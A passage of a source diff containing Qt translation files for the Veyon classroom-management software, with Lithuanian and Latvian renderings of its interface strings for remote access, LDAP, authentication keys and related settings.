%1 + + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + + + + Authentication error + Autorizacijos klaida + + + Remote access + + + + User "%1" at host "%2" is now accessing this computer. + + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + + + + + ComputerManagementView + + Computer management + + + + Add room + + + + Save computer/user list + + + + Select output filename + + + + CSV files (*.csv) + + + + File error + + + + Could not write the computer and users list to %1! Please check the file access permissions. + + + + Computer search + + + + + ComputerManager + + User + + + + Missing network object directory plugin + + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + + + + Computer name;Host name;User + + + + Room detection failed + + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + + + + Please specify a valid filename for the configuration export. + + + + Please specify a valid key. + + + + Specified key does not exist in current configuration! + + + + Please specify a valid value. + + + + Configure Veyon at command line + + + + Output file is not writable! + + + + Output directory is not writable! + + + + Configuration file is not readable! + + + + Clear system-wide Veyon configuration + + + + List all configuration keys and values + + + + Import configuration from given file + + + + Export configuration to given file + + + + Read and output configuration value for given key + + + + Write given value to given configuration key + + + + Unset (remove) given configuration key + + + + Commands for managing the configuration of Veyon + + + + Upgrade and save configuration of program and plugins + + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + + + + Could not configure the firewall configuration for the %1 Server. + + + + Could not configure the firewall configuration for the %1 Worker. + + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + + + + Configuration is not writable. Please check your permissions! + + + + + DemoClient + + %1 Demo + + + + + DemoConfigurationPage + + Demo server + + + + Tunables + + + + ms + + + + Key frame interval + + + + Memory limit + + + + Use multithreading (experimental) + + + + MB + + + + Update interval + + + + s + + + + + DemoFeaturePlugin + + Fullscreen demo + Pilno ekrano prezentacija + + + Stop demo + + + + Window demo + Prezentacija ekrane + + + Give a demonstration by screen broadcasting + + + + Demo server + + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + + + + + DesktopAccessDialog + + Desktop access dialog + + + + Confirm desktop access + Patvirtinti darbalaukio valdymą + + + Never for this session + Niekada šiame seanse + + + Always for this session + Visada šiame seanse + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + + + + + DesktopServicesConfigurationPage + + Programs & websites + + + + Predefined programs + + + + Name + Vardas + + + Path + + + + Add new program + + + + Remove selected program + + + + Predefined websites + + + + Remove selected website + + + + URL + + + + New program + + + + New website + + + + + DesktopServicesFeaturePlugin + + Run program + + + + Open website + + + + Click this button to open a website on all computers. + + + + Please enter the URL of the website to open: + + + + Start programs and services in user desktop + + + + Click this button to run a program on all computers. + + + + Run program "%1" + + + + Custom program + + + + Open website "%1" + + + + Custom website + + + + + ExternalVncServer + + External VNC server + + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + + + + Port: + + + + Password: + + + + + FeatureControl + + Feature control + + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + + + + + FileTransferDialog + + File transfer + + + + Options + + + + Transfer only + + + + Transfer and open file(s) with associated program + + + + Transfer and open destination folder + + + + Files + + + + Start + + + + Overwrite existing files + + + + + FileTransferPlugin + + File transfer + + + + Click this button to transfer files from your computer to all computers. + + + + Select one or more files to transfer + + + + Transfer files to remote computer + + + + Received file "%1". + + + + Could not receive file "%1" as it already exists. + + + + Could not receive file "%1" as it could not be opened for writing! + + + + + GeneralConfigurationPage + + User interface + Vartotojo sąsaja + + + Language: + Kalba + + + Use system language setting + + + + Veyon + + + + Logging + Įvykių žurnalas + + + Log file directory + Įvykių žurnalo direktorija + + + ... + ... + + + Log level + Įvykių žurnalo lygmuo + + + Nothing + Nevygdyti įvykių žurnalo + + + Only critical messages + Tik kritines klaidas + + + Errors and critical messages + Visas klaidas + + + Warnings and errors + Įspėjimai ir klaidos + + + Information, warnings and errors + Informaciniai įspėjimai ir klaidos + + + Debug messages and everything else + Patarimų žinutės ir visa kita + + + Limit log file size + Limituoti žurnalo failo dydį + + + Clear all log files + Išvalyti visus įvykių žurnalo failus + + + Log to standard error output + Persijungti į įvykių žurnalą + + + Network object directory + + + + Backend: + + + + Update interval: + + + + %1 service + + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + + + + Log files cleared + Įvykio failai ištrinti + + + All log files were cleared successfully. + Visi įvyko failai pašalinti sėkmingai. + + + Error + Klaida + + + Could not remove all log files. + Nepavyko pašalinti visų įvykio failų. + + + MB + + + + Rotate log files + + + + x + + + + seconds + + + + Write to logging system of operating system + + + + Authentication + Autorizavimas + + + Method: + + + + Logon authentication + Autorizacija prisijungiant į sistemą + + + Key file authentication + Autorizuotis naudojant pasiekiamumo raktą + + + + InternetAccessControlConfigurationPage + + Internet access control + + + + Backend: + + + + General settings + + + + Backend settings + + + + + InternetAccessControlPlugin + + Block access to the internet + + + + Allow access to the internet + + + + Show help about command + + + + Block internet + + + + Click this button to block access to the internet. + + + + Unblock internet + + + + Click this button to allow access to the internet. + + + + Control access to the internet + + + + Commands for controlling access to the internet + + + + + LdapBrowseDialog + + Browse LDAP + + + + + LdapClient + + LDAP error description: %1 + + + + No LDAP error description available + + + + + LdapConfigurationPage + + LDAP + + + + Basic settings + + + + General + Pagrindinis + + + LDAP server and port + + + + Bind DN + + + + Bind password + + + + Anonymous bind + + + + Use bind credentials + + + + Test + Testuoti + + + Base DN + + + + Fixed base DN + + + + e.g. dc=example,dc=org + + + + Discover base DN by naming context + + + + e.g. namingContexts or defaultNamingContext + + + + Environment settings + + + + Object trees + + + + Computer tree + + + + e.g. OU=Groups + + + + User tree + + + + e.g. OU=Users + + + + e.g. OU=Computers + + + + Group tree + + + + Perform recursive search operations in object trees + + + + Object attributes + + + + e.g. hwAddress + + + + Computer host name attribute + + + + e.g. member or memberUid + + + + User login attribute + + + + e.g. dNSHostName + + + + Computer MAC address attribute + + + + Group member attribute + + + + e.g. uid or sAMAccountName + + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + + + + Advanced settings + + + + Optional object filters + + + + Filter for user groups + + + + Filter for users + + + + Filter for computer groups + + + + Group member identification + + + + Distinguished name (Samba/AD) + + + + Configured attribute for user login or computer host name (OpenLDAP) + + + + List all groups of a user + + + + List all groups of a computer + + + + Get computer object by IP address + + + + LDAP connection failed + + + + LDAP bind failed + + + + LDAP bind successful + + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + + + + LDAP base DN test failed + + + + LDAP base DN test successful + + + + LDAP naming context test failed + + + + LDAP naming context test successful + + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + + + + user tree + + + + group tree + + + + computer tree + + + + Enter username + + + + Please enter a user login name (wildcards allowed) which to query: + + + + user objects + + + + user login attribute + + + + Enter group name + + + + Please enter a group name whose members to query: + + + + group members + + + + group member attribute + + + + Group not found + + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + + + + Enter computer name + + + + Please enter a computer host name to query: + + + + Invalid host name + + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + + + + computer objects + + + + computer host name attribute + + + + Enter computer DN + + + + Please enter the DN of a computer whose MAC address to query: + + + + computer MAC addresses + + + + computer MAC address attribute + + + + users + + + + user groups + + + + computer groups + + + + Please enter a user login name whose group memberships to query: + + + + groups of user + + + + user login attribute or group membership attribute + + + + User not found + + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + + + + Enter host name + + + + Please enter a computer host name whose group memberships to query: + + + + groups of computer + + + + computer host name attribute or group membership attribute + + + + Computer not found + + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + + + + Enter computer IP address + + + + Please enter a computer IP address which to resolve to an computer object: + + + + Host name lookup failed + + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + + + + computers + + + + LDAP %1 test failed + + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + + + + LDAP %1 test successful + + + + The %1 has been queried successfully and %2 entries were found. + + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + + + + %1 %2 have been queried successfully: + +%3 + + + + LDAP filter test failed + + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + + + + LDAP filter test successful + + + + %1 %2 have been queried successfully using the configured filter. + + + + (only if different from group tree) + + + + Computer group tree + + + + computer group tree + + + + Filter for computers + + + + e.g. room or computerLab + + + + List all members of a computer room + + + + List all computer rooms + + + + Enter computer room name + + + + Please enter the name of a computer room (wildcards allowed): + + + + computer rooms + + + + computer room attribute + + + + Please enter the name of a computer room whose members to query: + + + + computer room members + + + + computer group filter or computer room member aggregation + + + + Computer rooms + + + + Integration tests + + + + Computer room attribute + + + + Aggregate computers in a room via: + + + + Computer groups + + + + Computer room attribute in computer objects + + + + Test not applicable + + + + Computer room name attribute + + + + e.g. name or description + + + + Filter for computer containers + + + + Computer containers or OUs + + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + + + + Connection security + + + + TLS certificate verification + + + + System defaults + + + + Never (insecure!) + + + + Custom CA certificate file + + + + None + + + + TLS + + + + SSL + + + + e.g. (objectClass=computer) + + + + e.g. (objectClass=group) + + + + e.g. (objectClass=person) + + + + e.g. (objectClass=room) or (objectClass=computerLab) + + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + + + + Certificate files (*.pem) + + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + + + + Encryption protocol + + + + + LdapPlugin + + Auto-configure the base DN via naming context + + + + Query objects from LDAP directory + + + + Show help about command + + + + Commands for configuring and testing LDAP/AD integration + + + + Provide LDAP/AD integration for Veyon + + + + LDAP (load computers and rooms from LDAP/AD) + + + + LDAP (load users and groups from LDAP/AD) + + + + + LicensingConfigurationPage + + Licensing + + + + Installed licenses + + + + Add new network range + + + + Remove selected network range + + + + ID + + + + Feature + + + + Valid until + + + + Licensee + + + + Browse license file + + + + Veyon license files (*.vlf) + + + + Remove license + + + + Do you really want to remove the selected license? + + + + <N/A> + + + + Invalid license file + + + + Could not open the license file for reading! + + + + The selected license file does not contain valid data. + + + + The selected license file could not be verified. + + + + The selected license file is not valid for this installation. + + + + The selected license file is expired. + + + + The license is already installed. + + + + + LicensingPlugin + + Show help for specific command + + + + Show all installed licenses + + + + Add license file + + + + Remove installed license + + + + +USAGE + +%1 add <LICENSE FILE> + + + + + + +USAGE + +%1 remove <LICENSE ID> + + + + + + No certificate found with given ID + + + + <N/A> + + + + Licensing management + + + + Commands for managing license keys + + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + + + + + MainToolBar + + Configuration + + + + Disable balloon tooltips + + + + Show icons only + + + + + MainWindow + + MainWindow + Pagrindinis langas + + + toolBar + Įrankių juosta + + + General + Pagrindinis + + + &File + &Failas + + + &Help + &Pagalba + + + &Quit + &Išeiti + + + Ctrl+Q + CTRL+Q + + + Ctrl+S + CTRL+S + + + L&oad settings from file + Įkelti nustatymus iš failo + + + Ctrl+O + CTRL+O + + + About Qt + Apie Qt + + + Authentication impossible + Autorizavimas neįmanomas + + + Configuration not writable + Konfiguracinis failas negali būti įrašytas + + + Load settings from file + Įkelti nustatymus iš failo + + + Save settings to file + Išsaugoti nustatymus į failą + + + Unsaved settings + Neišsaugoti nustatymai + + + There are unsaved settings. Quit anyway? + Egzistuoja dar neišsaugoti nustatymai. Vistiek išeiti? + + + Veyon Configurator + + + + Service + + + + Master + + + + Access control + + + + About Veyon + + + + Auto + + + + Computer rooms + + + + About + Apie programą + + + %1 Configurator %2 + + + + JSON files (*.json) + + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + + + + Access denied + + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + + + + Screenshots + + + + Feature active + + + + The feature "%1" is still active. Please stop it before closing %2. + + + + Reset configuration + + + + Do you really want to reset the local configuration and revert all settings to their defaults? + + + + Search users and computers + + + + Adjust optimal size + + + + Align computers to grid + + + + Use custom computer placement + + + + %1 Configurator + + + + Insufficient privileges + + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + + + + Only show powered on computers + + + + &Save settings to file + + + + &View + + + + &Standard + + + + &Advanced + + + + + MasterConfigurationPage + + Directories + Katalogai + + + ... + ... + + + User configuration + + + + Feature on computer double click: + + + + Automatically switch to current room at start + + + + Features + + + + All features + + + + Disabled features + + + + Perform access control at program start + + + + Screenshots + + + + <no feature> + + + + Automatically adjust computer thumbnail size at start + + + + Basic settings + + + + Behaviour + + + + Enforce selected mode for client computers + + + + Only show current room + + + + Allow adding rooms manually + + + + Hide local computer + + + + Hide empty rooms + + + + Hide computer filter field + + + + Actions such as rebooting or powering down computers + + + + Show confirmation dialog for potential dangerous actions + + + + User interface + Vartotojo sąsaja + + + Background color + + + + Thumbnail update interval + + + + ms + + + + Program start + + + + Modes and features + + + + User and computer name + + + + Only user name + + + + Only computer name + + + + Computer thumbnail caption + + + + Computer rooms + + + + Automatically open computer rooms widget + + + + Text color + + + + Sort order + + + + Computer and user name + + + + + MonitoringMode + + Monitoring + + + + Builtin monitoring mode + + + + This is the default mode and allows you to monitor all computers in one or more rooms. + + + + + NetworkDiscoveryConfigurationPage + + Network discovery + + + + Mode + + + + Scan network ranges + + + + e.g. 192.168.1.0/24 + + + + Scan all subnets of computer + + + + Scan custom subnet + + + + Scan sessions on local computer + + + + Test + Testuoti + + + Network ranges + + + + Add new group + + + + Remove selected group + + + + Groups + + + + First address + + + + Last address + + + + Add new network range + + + + Remove selected network range + + + + Parallel scans + + + + Scan timeout + + + + ms + + + + Session scan limit + + + + New group + + + + Options + + + + Reverse lookup discovered IP addresses to host names + + + + + NetworkDiscoveryDirectory + + Scanning... + + + + Discovered computers + + + + + NetworkDiscoveryPlugin + + Show help for specific command + + + + Scan a subnet + + + + +USAGE + +%1 scan [<SUBNET>] + + + + + + Network object directory which automatically discovers computers in the network + + + + Network discovery (scan network for Veyon clients) + + + + Commands for managing the network discovery directory + + + + + NetworkObjectTreeModel + + Room/Computer + + + + + PasswordDialog + + Username + Vartotojo vardas + + + Password + Slaptažodis + + + Veyon Logon + + + + Authentication error + + + + Logon failed with given username and password. Please try again! + + + + Please enter your username and password in order to access computers. + + + + + PowerControlFeaturePlugin + + Power on + Įjungti + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + + + + Reboot + Perkrauti + + + Click this button to reboot all computers. + + + + Power down + Išjungti + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + + + + Power on/down or reboot a computer + + + + Confirm reboot + + + + Confirm power down + + + + Do you really want to reboot the selected computers? + + + + Do you really want to power down the selected computer? + + + + Power on a computer via Wake-on-LAN (WOL) + + + + MAC ADDRESS + + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + + + + Please specify the command to display help for! + + + + Invalid MAC address specified! + + + + Commands for controlling power status of computers + + + + + RemoteAccessFeaturePlugin + + Remote view + + + + Open a remote view for a computer without interaction. + + + + Remote control + Nuotolinis valdymas + + + Open a remote control window for a computer. + + + + Remote access + + + + Remote view or control a computer + + + + Please enter the hostname or IP address of the computer to access: + + + + Show help about command + + + + + RemoteAccessWidget + + %1 - %2 Remote Access + + + + + RemoteAccessWidgetToolBar + + View only + Tik peržiūra + + + Remote control + Nuotolinis valdymas + + + Send shortcut + + + + Fullscreen + Per visą ekraną + + + Window + Lange + + + Quit + Išeiti + + + Ctrl+Alt+Del + + + + Ctrl+Esc + + + + Alt+Tab + + + + Alt+F4 + + + + Win+Tab + + + + Win + + + + Menu + + + + Alt+Ctrl+F1 + + + + Connecting %1 + Jungiamasi su %1 + + + Connected. + Prisijungta. + + + Screenshot + + + + + RoomSelectionDialog + + Room selection + + + + enter search filter... + + + + + Routing + + Control internet access by modifying routing table + + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + + + + Add custom route to block internet + + + + Destination + + + + Gateway + + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + + + + Run programs + + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + + ScreenLockFeaturePlugin + + Lock + + + + Unlock + + + + Lock screen and input devices of a computer + + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + + + + + Screenshot + + unknown + + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + + + + Screenshot + + + + + ScreenshotFeaturePlugin + + Screenshot + + + + Use this function to take a screenshot of selected computers. + + + + Screenshots taken + + + + Screenshot of %1 computer have been taken successfully. + + + + Take screenshots of computers and save them locally. + + + + + ScreenshotManagementView + + User: + + + + Date: + + + + Time: + + + + Show + + + + Delete + + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + + + + Computer: + + + + + ServiceConfigurationPage + + General + Pagrindinis + + + Autostart + Automatinė paleistis + + + Hide tray icon + Paslėpti piktogramas + + + Start service + Paleisti tarnybą + + + Stopped + Sustabdytas + + + Stop service + Sustabdyti tarnybą + + + State: + Būsena: + + + Enable SAS generation by software (Ctrl+Alt+Del) + + + + Network + Tinklas + + + Demo server port + Prezaentacinio serverio šliuzas + + + Enable firewall exception + Įjungti ugnesienės išimtį + + + Allow connections from localhost only + Leisti prisijungimus tik vietiniam tinkle + + + Internal VNC server port + + + + VNC server + + + + Plugin: + + + + Restart %1 Service + + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + + + + Running + Veikia + + + Feature manager port + + + + Primary service port + + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + + + + Multi session support (experimental) + + + + Show notification on remote connection + + + + Show notification on failed authentication attempts + + + + + ServiceControl + + Starting service %1 + + + + Stopping service %1 + + + + Registering service %1 + + + + Unregistering service %1 + + + + Service control + + + + + ServiceControlPlugin + + Service is running + + + + Service is not running + + + + Configure and control Veyon service + + + + Register Veyon Service + + + + Unregister Veyon Service + + + + Start Veyon Service + + + + Stop Veyon Service + + + + Restart Veyon Service + + + + Query status of Veyon Service + + + + Commands for configuring and controlling Veyon Service + + + + + ShellCommandLinePlugin + + Run command file + + + + File "%1" does not exist! + + + + Interactive shell and script execution for Veyon Control + + + + Commands for shell functionalities + + + + + SystemTrayIcon + + System tray icon + + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + + + + Default (system user groups) + + + + + TextMessageDialog + + Send text message + Nusiųsti tekstine žinutę + + + Use the field below to type your message which will be sent to all selected users. + Apačioje esančiame lange įveskite žinutę kuri bus išsiųsta visiems pasirinktiems vartotojams + + + + TextMessageFeaturePlugin + + Text message + Tekstinė žinutė + + + Use this function to send a text message to all users e.g. to assign them new tasks. + + + + Message from teacher + Žinutė nuo mokytojo + + + Send a message to a user + + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + Leisti įrašinėti su permatomu langu + + + Poll full screen (leave this enabled per default) + Apklausa naudojant pilną ekraną (Palikite tai įjungta numatytuose nustatymuose) + + + Low accuracy (turbo mode) + Žemos kokybės (Didelio įrašymo greičio) + + + Builtin UltraVNC server configuration + + + + Enable multi monitor support + + + + Enable Desktop Duplication Engine on Windows 8 and newer + + + + + UserConfig + + No write access + Neturite leidimo įrašyti + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + + + + + UserSessionControl + + User session control + + + + Click this button to logout users from all computers. + + + + Confirm user logout + + + + Do you really want to logout the selected users? + + + + Logout + + + + + VeyonCore + + [OK] + + + + [FAIL] + + + + Invalid command! + + + + Available commands: + + + + Invalid arguments given + + + + Not enough arguments given - use "%1 help" for more information + + + + Unknown result! + + + + Available modules: + + + + No module specified or module not found - available modules are: + + + + Plugin not licensed + + + + INFO + + + + ERROR + + + + licensed for + + + + + VeyonServiceControl + + Veyon Service + + + + + VncView + + Establishing connection to %1 ... + Vykdomas sujungimas su %1 ... + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + + + + WindowsServiceControl: the service "%1" could not be installed. + + + + WindowsServiceControl: the service "%1" has been installed successfully. + + + + WindowsServiceControl: the service "%1" could not be uninstalled. + + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + + + + WindowsServiceControl: the start type of service "%1" could not be changed. + + + + WindowsServiceControl: service "%1" could not be found. + + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + + + + Custom x11vnc parameters: + + + + Do not use X Damage extension + + + + \ No newline at end of file diff --git a/translations/lv_LV.ts b/translations/lv_LV.ts new file mode 100644 index 0000000..d9f4c4f --- /dev/null +++ b/translations/lv_LV.ts @@ -0,0 +1,3818 @@ + + + AboutDialog + + About + Par + + + Translation + Tulkojumi + + + License + Licenze + + + About Veyon + Par Veyon + + + Contributors + Atbalstītāji + + + Version: + Versija: + + + Website: + Mājas lapa: + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + Pašreizējā valoda vēl nav pārtulkota. + +Ja esat ieinteresēti tulkot Veyon citā valodā vai uzlabot esošo tulkojumu, lūdzu sazinieties ar Veyon veidotājiem. + + + About %1 %2 + Par %1 %2 + + + Support Veyon project with a donation + Atbalsti Veyon projektu ar ziedojumu + + + + AccessControlPage + + Computer access control + Datora piekļuves kontrole + + + Grant access to every authenticated user (default) + Piešķirt piekļuvi katram autentificētam lietotājam (noklusējuma) + + + Test + Tests + + + Restrict access to members of certain user groups + Ierobežot piekļuvi noteiktiem grupu dalībniekiem + + + Process access control rules + Procesa piekļuves kontroles noteikumi + + + User groups authorized for computer access + Lietotāju grupas, kurām ir atļauta piekļuve datoram + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + Lūdzu pievienojiet grupu, kuras lietotājiem vajadzētu būt autorizētām piekļūt datoriem Jūsu Veyon tīklā. + + + Authorized user groups + Autorizētās lietotāju grupas + + + All groups + Visas grupas + + + ... + ... + + + Access control rules + Piekļuves kontroles noteikumi + + + Add access control rule + Pievienot piekļuves kontroles noteikumu + + + Remove access control rule + Noņemt piekļuves kontroles noteikumu + + + Move selected rule down + Pazemināt izvēlēto noteikumu + + + Move selected rule up + Paaugstināt izvēlēto noteikumu + + + Edit selected rule + Labot izvēlētās lomas + + + Enter username + Ievadi lietotājvārdu + + + Please enter a user login name whose access permissions to test: + Lūdzu ievadi lietotājvārdus, kuriem ļaut piekļuvi testam: + + + Access allowed + Piekļuve atļauta + + + The specified user is allowed to access computers with this configuration. + Izvēlētajam lietotājam ir atļauja piekļūt datoriem ar šiem iestatījumiem. + + + Access denied + Piekļuve liegta + + + The specified user is not allowed to access computers with this configuration. + + + + Enable usage of domain groups + + + + User groups backend: + + + + Missing user groups backend + + + + No default user groups plugin was found. Please check your installation! + + + + + AccessControlRuleEditDialog + + Edit access control rule + Labot piekļuves kontroles noteikumu + + + General + Vispārīgi + + + enter a short name for the rule here + ievadi nosaukumu noteikumam šeit + + + Rule name: + Noteikuma nosaukums: + + + enter a description for the rule here + ievadu aprakstu noteikumam šeit + + + Rule description: + Noteikuma apraksts: + + + Invert all conditions ("is/has" interpreted as "is/has not") + + + + Conditions + Nosacījumi + + + is member of group + ir biedrs grupai + + + is located in room + atrodas kabinetā + + + Accessing computer is localhost + + + + Accessing user is logged on user + + + + Accessing user is already connected + + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + + + + Action + Darbības + + + Allow access + Atļaut piekļuvi + + + Deny access + Liegt atļauju + + + Ask logged on user for permission + Vaicāt lietotājam atļauju + + + None (rule disabled) + Nav (noteikumi izslēgti) + + + Accessing user + Piekļūstošais lietotājs + + + Accessing computer + Piekļūstošais dators + + + Local (logged on) user + Vietējais (pieslēdzies) lietotājs + + + Local computer + Vietējais dators + + + Always process rule and ignore conditions + + + + No user logged on + Nav lietotājs pieslēdzies + + + Accessing computer is located in the same room as local computer + + + + Accessing user has one or more groups in common with local (logged on) user + + + + + AccessControlRulesTestDialog + + Access control rules test + Piekļuves kontroles noteikuma tests + + + Accessing user: + Piekļūstošais lietotājs: + + + Local computer: + Vietējais dators: + + + Accessing computer: + Piekļūstošais dators: + + + Please enter the following user and computer information in order to test the configured ruleset. + + + + Local user: + Vietējie lietotāji: + + + Connected users: + Pieslēgušies lietotāji: + + + The access in the given scenario is allowed. + Piekļuve izvēlētajam scenārijam ir atļauta. + + + The access in the given scenario is denied. + Piekļuve izvēlētajam scenārijam ir liegta. + + + The access in the given scenario needs permission of the logged on user. + + + + ERROR: Unknown action + Errors: Nezināma darbība + + + Test result + Testa rezultāti + + + + AuthKeysConfigurationPage + + Authentication keys + Autorizācijas atslēga + + + Introduction + Ievads + + + Key file directories + Atslēgfaila mapes + + + Public key file base directory + Publisko atslēgfailu atrašanās mape + + + Private key file base directory + Privāto atslēgfailu atrašanās mape + + + ... + ... + + + Available authentication keys + Pieejamās autentifikācijas atslēgas + + + Create key pair + Izveidot atslēgu + + + Delete key + Dzēst atslēgu + + + Import key + Iegult atslēgu + + + Export key + Izgult atslēgu + + + Set access group + Veidot piekļuves grupu + + + Key files (*.pem) + Atslēgu faili (*.pem) + + + Authentication key name + Autentifikācijas atslēgas nosaukums + + + Please enter the name of the user group or role for which to create an authentication key pair: + + + + Do you really want to delete authentication key "%1/%2"? + + + + Please select a key to delete! + Lūdzu, izvēlieties atslēgu kuru izdzēst! + + + Please enter the name of the user group or role for which to import the authentication key: + + + + Please select a key to export! + Lūdzu, izvēlieties atslēgfailu, kuru izvadīt! + + + Please select a user group which to grant access to key "%1": + + + + Please select a key which to set the access group for! + + + + Please perform the following steps to set up key file authentication: + + + + 1) Create a key pair on the master computer. + + + + 2) Set an access group whose members should be allowed to access other computers. + + + + 3) Export the public key and import it on all client computers with the same name. + + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + + + + + AuthKeysManager + + Please check your permissions. + Lūdzu, pārbaudiet atļaujas. + + + Key name contains invalid characters! + + + + Invalid key type specified! Please specify "%1" or "%2". + + + + Specified key does not exist! Please use the "list" command to list all installed keys. + + + + One or more key files already exist! Please delete them using the "delete" command. + + + + Creating new key pair for "%1" + + + + Failed to create public or private key! + + + + Newly created key pair has been saved to "%1" and "%2". + + + + Could not remove key file "%1"! + + + + Could not remove key file directory "%1"! + + + + Failed to create directory for output file. + + + + File "%1" already exists. + Fails "%1" jau eksistē. + + + Failed to write output file. + Neizdevās izveidot failu. + + + Key "%1/%2" has been exported to "%3" successfully. + + + + Failed read input file. + Neizdevās nolasīt failu. + + + File "%1" does not contain a valid private key! + + + + File "%1" does not contain a valid public key! + + + + Failed to create directory for key file. + Neizdevās izveidot mapi atslēgas failam. + + + Failed to write key file "%1". + Neizdevās ierakstīt atslēgas failā "%1". + + + Failed to set permissions for key file "%1"! + Neizdevās piešķirt atļaujas atslēgas failam "%1". + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + + + + Failed to convert private key to public key + + + + Failed to create directory for private key file "%1". + + + + Failed to save private key in file "%1"! + + + + Failed to set permissions for private key file "%1"! + + + + Failed to create directory for public key file "%1". + + + + Failed to save public key in file "%1"! + + + + Failed to set permissions for public key file "%1"! + + + + Failed to set owner of key file "%1" to "%2". + + + + Failed to set permissions for key file "%1". + + + + Key "%1" is now accessible by user group "%2". + + + + <N/A> + <N/A> + + + Failed to read key file. + Kļūda lasot atslēgfailu. + + + + AuthKeysPlugin + + Create new authentication key pair + + + + Delete authentication key + Izdzēst autentifikācijas failu + + + List authentication keys + + + + Import public or private key + + + + Export public or private key + + + + Extract public key from existing private key + + + + Set user group allowed to access a key + + + + KEY + ATSLĒGA + + + ACCESS GROUP + PIEKĻUVES GURPA + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + + + + NAME + VĀRDS + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + + + + FILE + FAILS + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + + + + Please specify the command to display help for! + + + + TYPE + TIPS + + + PAIR ID + Pāra ID + + + Command line support for managing authentication keys + + + + Commands for managing authentication keys + + + + + AuthKeysTableModel + + Name + Vārds + 